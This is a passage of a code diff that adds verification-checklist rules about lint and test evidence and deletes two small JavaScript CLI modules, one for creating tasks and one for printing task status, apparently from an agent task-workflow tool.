+ `verificationEvidence.commands` (per-command `exitCode`/`ok`) instead of inferring from
43
+ the trace, which only proves binding.
44
+ - When the task declares lint commands (`lintConfigured: true`), lint is `passed` or
45
+ evidence-backed `baseline-debt`; typecheck, build, and test are passed. Any debt count
46
+ and affected unchanged files remain disclosed. A task that declares no lint commands
47
+ reports `lintConfigured: false`: lint is not part of its verification surface, so
48
+ report no lint finding either way.
44
49
  - Changed files are authorized.
45
50
  - Criteria and applicable states have implementation and evidence.
46
51
  - Required Mock-backed behavior passed; any generated Mock-specific verification also
@@ -1,5 +0,0 @@
1
- import { createTask } from '../task/runtime.js';
2
- export async function runNewTask(repoRoot, taskId, title) {
3
- const taskDir = await createTask(repoRoot, taskId, title);
4
- console.log(taskDir);
5
- }
@@ -1,57 +0,0 @@
1
- import { getTaskDir, getTaskPaths, getTaskStatus, loadTaskConfig, } from "../task/runtime.js";
2
- import { getArtifactPath } from "../shared/artifacts-core.js";
3
- import { buildTaskReadModel } from "../task/read-model.js";
4
- export async function runStatus(repoRoot, taskId) {
5
- // Read-only: do not refresh/repair/migrate. Mutations belong to task advance.
6
- const state = await getTaskStatus(repoRoot, taskId);
7
- const taskConfig = await loadTaskConfig(repoRoot, taskId);
8
- const taskDir = getTaskDir(repoRoot, taskId);
9
- const taskPaths = getTaskPaths(repoRoot, taskId);
10
- const readModel = await buildTaskReadModel(repoRoot, taskId);
11
- console.log(JSON.stringify({
12
- taskId,
13
- taskDir,
14
- taskRoot: taskDir,
15
- sourceOfTruth: "task",
16
- artifactPaths: {
17
- taskConfig: taskPaths.taskConfigPath,
18
- workflowState: taskPaths.statePath,
19
- sourceDir: taskPaths.sourceDir,
20
- artifactsDir: `${taskDir}/artifacts`,
21
- analysis: getArtifactPath(taskDir, "analyze"),
22
- plan: getArtifactPath(taskDir, "plan"),
23
- modifyLog: getArtifactPath(taskDir, "implement"),
24
- verifyResult: getArtifactPath(taskDir, "verify"),
25
- retrospective: getArtifactPath(taskDir, "retrospective"),
26
- },
27
- runRefs: {
28
- oneShotRuns: readModel.runRefs.oneShotRuns,
29
- dagRuns: readModel.runRefs.dagRuns,
30
- },
31
- readModel,
32
- actionContext: {
33
- mode: "dag",
34
- allowedEditRoots: taskConfig.allowedPaths,
35
- forbiddenPaths: taskConfig.forbiddenPaths,
36
- constraints: taskConfig.hardConstraints,
37
- requiresPromotion: readModel.promotion.required && !readModel.promotion.ready,
38
- },
39
- currentStep: state.currentStep,
40
- status: state.status,
41
- complexity: taskConfig.complexity,
42
- maxFixLoops: taskConfig.maxFixLoops,
43
- verifyEnv: taskConfig.verifyEnv ?? "clean",
44
- maxGoalContinuationsPerRun: taskConfig.maxGoalContinuationsPerRun ?? 5,
45
- goal: state.goal,
46
- sourceState: state.sourceState,
47
- completedSteps: state.completedSteps,
48
- decisionLogSize: state.decisionLog.length,
49
- artifacts: state.artifacts,
50
- // Prefer task advance/status; keep single next action (no parallel command arrays).
51
- next: {
52
- kind: "advance-or-status",
53
- command: readModel.nextAction.command,
54
- reason: readModel.nextAction.reason,
55
- },
56
- }, null, 2));
57
- }